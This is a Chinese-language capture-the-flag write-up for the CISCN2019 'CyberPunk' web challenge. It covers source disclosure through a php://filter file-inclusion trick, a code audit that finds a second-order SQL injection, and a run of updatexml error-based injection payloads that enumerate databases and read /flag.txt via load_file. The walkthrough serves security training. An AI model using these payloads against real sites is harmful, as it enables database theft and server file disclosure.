[CISCN2019 华北赛区 Day1 Web5]CyberPunk
最后更新于
最后更新于
文件包含配合伪协议读取文件
代码审计
注入点寻找与判断
报错注入
F12有个提示,GET参数file
访问?file=delete.php发现展示了主页和删除两个页面,不出意外是include("delete.php")了
使用php://filter可以获取源码
?file=php://filter/convert.base64-encode/resource=delete.php
分别读取index.php,delete.php,confirm.php,change.php,search.php,config.php
一个功能一个功能看,index.php用于显示页面和构造文件读取漏洞,订单提交的目标脚本是confirm.php,在config.php中初始化了SQL实例对象
在index.php填写数据提交,在confirm.php接收三个参数,user_name、address、phone
对user_name和phone进行黑名单检测,通过后执行查询语句。select * from user where user_name='user_name' and phone='phone'
禁用字符串如下,
如果没有查询到相同的订单就插入一个新的,不过这里插入用的是预编译的方式。要注意的是,这里插入address的时候并没有检验它的值,只检验了user_name和address。到这感觉是二次注入。
查询的功能是在search.php实现,获取两个参数,user_name和phone,然后对它们进行同上的黑名单检测,然后执行select * from user where user_name='user_name' and phone='phone'
,把所有信息返回。
修改的功能在change.php实现,在获取参数时,对user_name和phone进行黑名单检测,对address执行addslashes函数(在单双引号和反斜杠前加反斜杠)。
在通过黑名单检测后,先查询确定订单存在,然后再进行更新操作,不过只能进行地址修改的操作。
最后是订单删除的操作,和查询本质上差不多,找到订单然后删除。
现在大概的思路就是,新建一个订单在地址插入payload1,然后在修改订单的地方插入payload2,最后在查询的地方进行回显。会被addslashes进行转义的是payload2
如果payload1是一个单引号,那么在修改时,会报如下错误,也就是说在payload1处闭合语句可以构造注入
先新建一个订单,地址填单引号,其他全填aaa,然后修改订单信息,可以看到订单id,是1
再新建一个订单,全填aaaa,地址要填这个bbbb' where `user_id`=1#
,然后修改订单
再去查询处,填写aaa,可以发现注入成功
剩下的就是经典的拼语句了,update注入之报错注入
bbbb' where `user_id`=updatexml(1,concat(0x7e,(select count(SCHEMA_NAME) from information_schema.SCHEMATA),0x7e),1)#
bbbb' where `user_id`=updatexml(1,concat(0x7e,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),0x7e),1)#
bbbb' where `user_id`=updatexml(1,concat(0x7e,(select reverse(group_concat(SCHEMA_NAME)) from information_schema.SCHEMATA),0x7e),1)#
bbbb' where `user_id`=updatexml(1,concat(0x7e,(select substr(group_concat(SCHEMA_NAME),30,50) from information_schema.SCHEMATA),0x7e),1)#
第一个语句可以得到数据库数量,第二个和第三个可以得到部分数据库,如下information_schema,ctftraining,erformance_schema,test,ctfusers
中间少了一个,如果想知道是什么就要用substr了,即第四个,得到
g,mysql,performance_schema,test
完整六个数据库就是information_schema,ctftraining,mysql,performance_schema,test,ctfusers
然后是表名
bbbb' where user_id=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfusers'),0x7e),1)#
bbbb' where user_id=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),0x7e),1)#
第一个是user,第二个是FLAG_TABLE,news,users
然后看字段
bbbb' where user_id=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='FLAG_TABLE'),0x7e),1)#
是FLAG_COLUMN
最后查看值
bbbb' where user_id=updatexml(1,concat(0x7e,(select FLAG_COLUMN from ctftraining.FLAG_TABLE),0x7e),1)#
都是空的,结果payload是这样
bbbb' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
看不完整前面提到解决方案了
报错注入回显有长度限制,可以使用reverse,也可以使用limit,也可以修改substr的参数
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
select reverse(group_concat(SCHEMA_NAME)) from information_schema.SCHEMATA
select substr(group_concat(SCHEMA_NAME),30,50) from information_schema.SCHEMATA